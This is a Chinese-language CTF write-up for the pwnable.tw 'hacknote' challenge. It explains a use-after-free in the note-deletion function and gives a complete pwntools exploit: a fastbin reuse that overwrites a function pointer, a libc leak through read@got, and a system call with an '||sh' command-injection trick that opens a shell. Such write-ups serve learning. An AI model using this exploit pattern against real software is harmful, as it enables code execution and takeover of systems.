pwnable.tw hacknote

产生漏洞的原因是free后chunk未置零

unsigned int sub_80487D4()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= global_idx )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[index] )
  {
    free(*((void **)notelist[index] + 1));      // free content
                                                // free后chunk未置零，uaf
    free(notelist[index]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

结构体如下

ptr[i]->struct    //i<5
struct _note
{
    func *addr;    //0x804862b
    int *content;
}note;

利用的思路

note0:    addr(8)+content(16)
note1:    addr(8)+content(16)
free note1,note0
8byte's gadget in fastbin:note0->note1
note2:    addr(8)+content(8)        //content(8) modified to trigger a func_call puts('read@got'),
                //read the recv to calculate the libc_base
print(note1)
free note2
8byte's gadget in fastbin:note2's func_ptr->note2's content(aka note1's func_ptr)
note3:    addr(8)+content(8)        //note3's content(8) returns the note1's func_ptr,
                //modify it to trigger a call system('||sh')
print(note1)

脚本

from pwn import *

context.log_level='DEBUG'


r=remote('chall.pwnable.tw',10102)
file=ELF('./hacknote')
libc=ELF('./libc_32.so.6')
'''
r=process('./hacknote')
file=ELF('./hacknote')
libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
'''

def add(len,content):
    r.sendlineafter('Your choice :','1')
    r.sendlineafter('Note size :',str(len))
    r.sendafter('Content :',content)

def delete(index):
    r.sendlineafter('Your choice :','2')
    r.sendlineafter('Index :',str(index))

def print_note(index):
    r.sendlineafter('Your choice :','3')
    r.sendlineafter('Index :',str(index))

add(16,'a'*16)    #note0
add(16,'a'*16)    #note1

delete(1)
delete(0)

read_got=file.got['read']
fun_addr=0x0804862B
add(8,p32(fun_addr)+p32(read_got))
print_note(1)
read_addr=int(u32(r.recv(4)))
success('read_addr'+hex(read_addr))
sys_addr=read_addr-libc.sym['read']+libc.sym['system']

delete(2)

#add(8,p32(sys_addr)+';sh;')
add(8,p32(sys_addr)+'||sh')
print_note(1)

r.interactive()

 ps:这里最后执行的system()调用是print_note函数里的

  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);

即system传入的参数是notelist[index]，所以需要字符串截断；截断的方法是||

还有一种方法是利用命令注入传入;sh;（或$0等的参数，$0不能字符截断，这里不可行）

参考web中命令注入漏洞的利用